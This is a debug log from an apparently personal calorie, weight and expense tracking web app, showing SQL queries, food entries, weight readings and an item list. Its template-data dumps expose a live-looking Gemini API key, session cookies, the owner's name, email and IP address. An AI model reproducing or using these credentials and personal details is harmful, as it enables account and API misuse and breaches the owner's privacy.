  id: 1
}
2025-12-14T08:01:15.636Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T08:01:15.636Z server-connect:app Executing action step select
2025-12-14T08:01:15.636Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T08:01:15.638Z server-connect:output item_list: [
  {
    id: 387,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Salted Fries',
    calories: 210,
    protein_gm: 3,
    carbs_gm: 28,
    fat_gm: 11,
    quantity: 'Few pieces (approx 70g)',
    replacements: 'Baked potato wedges,Air-fried sweet potato fries,Roasted vegetables,Oven-baked fries (with minimal oil)',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
  },
  {
    id: 388,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Ginger Ale',
    calories: 66,
    protein_gm: 0,
    carbs_gm: 17,
    fat_gm: 0,
    quantity: 'Half (approx 165ml, based on a standard 330ml can)',
    replacements: 'Water,Sparkling water with a slice of ginger/lemon,Diet ginger ale (use sparingly),Unsweetened herbal tea',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
  },
  {
    id: 389,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Paneer Pakoda',
    calories: 128,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 9,
    quantity: '1 piece (approx 40g)',
    replacements: 'Grilled paneer,Tandoori paneer,Paneer tikka,Baked paneer pakoda (using minimal oil),Paneer bhurji',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 2,
    skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
  }
]
2025-12-14T08:01:15.638Z server-connect:app Executing action step setvalue
2025-12-14T08:01:15.638Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T08:01:15.638Z server-connect:output var_total: 404
2025-12-14T08:01:15.638Z server-connect:app Executing action step setvalue
2025-12-14T08:01:15.638Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T08:01:15.638Z server-connect:output var_consumed: 17
2025-12-14T08:01:15.638Z server-connect:app Executing action step setvalue
2025-12-14T08:01:15.638Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T08:01:15.638Z server-connect:output var_deficit: 1996
2025-12-14T08:01:15.638Z server-connect:app Executing action step custom
2025-12-14T08:01:15.638Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T08:01:15.639Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-14T08:03:17.141Z server-connect:router Serving templateView /weight-trackor
2025-12-14T08:03:17.141Z server-connect:app Executing action step identify
2025-12-14T08:03:17.141Z server-connect:app options: { provider: 'security' }
2025-12-14T08:03:17.142Z server-connect:output identity: 1
2025-12-14T08:03:17.142Z server-connect:app Executing action step restrict
2025-12-14T08:03:17.142Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:03:17.143Z server-connect:output restrict: undefined
2025-12-14T08:03:17.143Z server-connect:router Render template weight-trackor
2025-12-14T08:03:17.143Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T08:03:17.505Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-14T08:03:17.505Z server-connect:app Executing action step identify
2025-12-14T08:03:17.505Z server-connect:app options: { provider: 'security' }
2025-12-14T08:03:17.505Z server-connect:output identity: 1
2025-12-14T08:03:17.505Z server-connect:app Executing action step restrict
2025-12-14T08:03:17.505Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:03:17.506Z server-connect:output restrict: undefined
2025-12-14T08:03:17.506Z server-connect:app Executing action step custom
2025-12-14T08:03:17.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-14T08:03:17.507Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-14T08:04:45.936Z server-connect:router Serving templateView /
2025-12-14T08:04:45.937Z server-connect:app Executing action step identify
2025-12-14T08:04:45.937Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:45.937Z server-connect:output identity: 1
2025-12-14T08:04:45.937Z server-connect:app Executing action step restrict
2025-12-14T08:04:45.937Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:04:45.938Z server-connect:output restrict: undefined
2025-12-14T08:04:45.938Z server-connect:app Executing action step restrict
2025-12-14T08:04:45.938Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:04:45.939Z server-connect:output restrict: undefined
2025-12-14T08:04:45.939Z server-connect:router Render template layouts/main
2025-12-14T08:04:45.939Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-14T08:04:46.604Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-14T08:04:46.604Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-14T08:04:46.605Z server-connect:app Executing action step identify
2025-12-14T08:04:46.605Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:46.605Z server-connect:output identity: 1
2025-12-14T08:04:46.605Z server-connect:app Executing action step restrict
2025-12-14T08:04:46.605Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:04:46.605Z server-connect:app Executing action step identify
2025-12-14T08:04:46.605Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:46.605Z server-connect:output identity: 1
2025-12-14T08:04:46.605Z server-connect:app Executing action step restrict
2025-12-14T08:04:46.605Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:04:46.607Z server-connect:output restrict: undefined
2025-12-14T08:04:46.607Z server-connect:app Executing action step single
2025-12-14T08:04:46.607Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-14T08:04:46.608Z server-connect:output restrict: undefined
2025-12-14T08:04:46.608Z server-connect:app Executing action step select
2025-12-14T08:04:46.608Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-14T08:04:46.608Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-14T08:04:46.612Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
